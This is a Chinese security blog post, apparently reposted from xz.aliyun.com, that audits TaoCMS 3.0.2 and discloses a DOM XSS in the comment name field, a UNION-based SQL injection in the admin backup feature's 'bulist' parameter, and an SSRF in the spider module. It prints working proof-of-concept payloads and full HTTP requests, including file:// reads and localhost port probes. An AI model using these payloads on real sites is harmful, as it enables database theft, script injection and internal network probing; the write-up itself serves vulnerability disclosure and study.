天天看點

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

作者:區塊軟體開發

前言

PS: 版本是 TaoCMS 3.0.2,本文審到的都是我網絡上沒找到的,均已送出 CNVD。

前台 DOM 型 XSS

有點難受的是,我一開始以為這是個存儲型 XSS(是以文章是這麼來的嗚嗚嗚

結果後面看了下實際是 DOM 型的 XSS...危害一下子降到底了

因為這個漏洞産生的原因是 後端過濾不嚴謹 + 前端直接操作節點屬性 導緻的

不死心的我又跑去背景看了一下 ,看看有沒有解析...答案是否定的

是以說防禦 XSS 漏洞需要對輸入和輸出進行防禦....

即便傳進去 XSS Poc 了也執行不了嗚嗚嗚嗚

漏洞複現

首先,點選首頁任意一篇文章,這裡就選一開始預設的文章

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

往下拉發現有個評論功能

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

依次填入以下poc:

姓名:aaa')+alert(1)+('

郵箱:[email protected]

網址:www.baidu.com

驗證碼:按要求輸入

評論:随意

然後點選送出評論

看到上面被插入了使用者的留言,然後點選 回複

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

發現 XSS poc 被觸發

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

代碼審計

這兒的功能在 Model/Comment.php 下被實作

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

通過抓包,我們可以看到 姓名 這個的參數名是 name

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

在代碼中不難發現,name 參數是使用 safeword 方法進行了兩次過濾處理

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

跟蹤到 safeword 方法

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

level 3 和 level 5 兩個等級的 safeword 方法對傳入的字元串進行了以下處理:

  1. strip_tags 去除所有 HTML、XML、PHP 的标簽。
  2. htmlspecialchars 把預定義的字元轉換成 HTML 實體。
  3. nl2br 把字元串中的 \n 轉換成 \

但這種過濾防護忽略了一種情況:

就是當使用者的輸入會被插入在 HTML 标簽的屬性時,該過濾方法将完全失效。

回到前端代碼,F12 定位到回複的這個超連結中

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

定位到 backcomment 函數

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

發現它是簡單拼接後就直接給節點指派

正常情況下,使用者自定義的名字,會被插入到 backcomment 函數中被兩個單引号包括起來

我們可以通過 ') 來逃逸 backcomment 函數的範圍

由于是 return,是以即便有分号也不會再往後執行

我們可以通過 + 對 return 的内容進行拼接,就變成下面這個樣子

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

最後點選回複即可觸發 DOM XSS

SQL 注入

漏洞複現

由于這個漏洞點是直接審的代碼

是以也就沒這麼多過程了

直接上 Poc

GET /admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8 HTTP/1.1
Host: phpcode.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://phpcode.com/admin/admin.php?action=datastore&ctrl=display
Cookie: PHPSESSID=ecfspc92npb6f3napn1j1c11l1; tao_dig27=1682952434
Upgrade-Insecure-Requests: 1
           

響應包:

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

不過後面還是稍微翻了一下

功能點在這兒

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

又稍稍上 CNVD 看了一眼,好像沒有人和我交一樣的(也可能是沒公開

PS:我怎麼知道的呢?因為我是直接上 github 翻這套 CMS 的 issue 的,裡面有漏洞詳細的資訊。

代碼審計

功能實作控制器在 Model/Datastore.php

漏洞産生點在 create 方法

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

這段代碼的邏輯,大體上是通過 GET 擷取 bulist 參數的值

對 bulist 參數的值進行分割,然後分批讀取資料庫内的所有表的所有資料

并寫入到 backup-xxxxx.sql 中供使用者下載下傳

簡而言之,就是一個資料庫的備份功能

但這裡并沒有對 bulist 的值進行任何過濾,就插入 "select * from " 後面然後執行

最終會導緻 SQL 注入的發生

Poc:

http://xxx.com/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8
           

注意:Referer 的值要為 http://xxx.com/admin/admin.php?action=datastore&ctrl=display ,不然會無法執行。

SSRF

漏洞複現

實戰從沒利用成功的 SSRF 終于讓我代審給你捕到了

麻了,人與人之間要是多點信任,少點防火牆那該有多好啊

下面是漏洞複現

登陸背景,進到這個頁面

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

然後更改為以下配置

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

點選開始采集

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

這個時候如果抓包的話,會發現是服務端傳回的資訊

而不是用戶端發起的請求,是以是個 SSRF

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

然後嘗試 file 僞協定讀檔案

Poc:file:///D:/1.txt?

注意:? 号一定得帶,至于為啥看後面有講

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

嘗試探測端口

Poc:http://127.0.0.1:3306/?

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

代碼審計

這次漏洞點在 Module/Spider.php 的 execute 方法

定位到 execute 方法(代碼有點長我隻截關鍵的...

發現有個可能有問題的方法 fetchurl

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

定位到 fetchurl 方法,如下圖所示

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

發現就是傳入一個連結,然後直接拖取資料的方法

這種如果沒有對傳入的連結做出限定的話,很可能會導緻 SSRF 漏洞

這時候可以往回看看,看看 fetchurl 傳入的三個參數可不可控,有沒被過濾

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

發現沒有任何的過濾,那就可以說嘗試看看 SSRF 了

不過接下來還要考慮下是否能輸出...繼續看下去

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

這一段的邏輯是:

  1. 看下指定的編碼是不是 UTF-8,如果不是就轉換。
  2. 使用 preg_match 去擷取符合正則的内容,放到 titlearray 數組中,并将其指派給 data["name"]。
  3. 最後 列印 data["name"] 的值。

是以到了這裡,問題就變成了 “如何讓擷取的内容符合正規表達式呢?”

這裡會發現說,诶這個 titlepreg 的正則是哪來的?

往上翻會發現有個 createpreg 的方法,定位到這個方法看下

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

下面是定位到的 createpreg 方法

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

發現這個方法其實很簡單,就是字元串替換然後傳回個正規表達式嘛

根據前面的代碼可以知道,name 參數的值是被寫死的,我們可控的是 preg 參數的值

我們最後的目的是為了讓它傳回所有的内容嘛

是以結合 return 後面的值來看,我們隻需要傳入 .* 即可

但這兒還要注意一個點,就是 preg_match 這個函數

當你傳入第三個值的時候,就會将搜尋結果填充到第三個參數中

是以前面的正規表達式還需要加上 () 才能有搜尋結果

最後得到的正規表達式就是 (.*)

然後找到調用這個方法的業務點(懶得拼接參數

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

開代理抓包:

GET /admin/admin.php?front=http%3A%2F%2Fwww.baidu.com%2F%3F&start=1&rend=2&back=.htm&each=2&basecode=utf-8&titlepreg=%28.*%29&contentpreg=%28.*%29&cat=0&repword=%E7%AC%91%E5%98%BB%E5%98%BB%7CtaoCMS%0D%0A%E5%BF%AB%E4%B9%90%7C%E9%AB%98%E5%85%B4&llink=1&action=spider&ctrl=execute&Submit=%E5%BC%80%E5%A7%8B%E9%87%87%E9%9B%86&test=1 HTTP/1.1
Host: phpcode.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://phpcode.com/admin/admin.php?action=spider&ctrl=display
Cookie: PHPSESSID=ecfspc92npb6f3napn1j1c11l1; tao_dig27=1682952434; caf_ipaddr=3.0.92.142; country=SG; city="Singapore"; expiry_partner=; __gsas=ID=a4732952401d9990:T=1682933879:S=ALNI_MZCN7IrRihmqjkL4o8N7JGsDAxHwQ; pvisitor=c0664828-e038-4d7c-b430-bff02e4113dd
Upgrade-Insecure-Requests: 1
           

後面就大差不差了,具體的都在上面漏洞複現裡展示了

就還有要注意的一個點...

是使用 file:// 僞協定去讀檔案的時候,需要在末尾加個 ? 号或者 # 号

因為它這個采集資料的時候,會拼接數字作為采集的範圍

PHP代碼審計之TaoCMS(SQL注入+SSRF 0day)

urlback 參數可以為空,但 i 參數一定是個整數

是以要用 ? 或者 # 去注釋掉後面拼接的數字

from: https://xz.aliyun.com/t/12499

繼續閱讀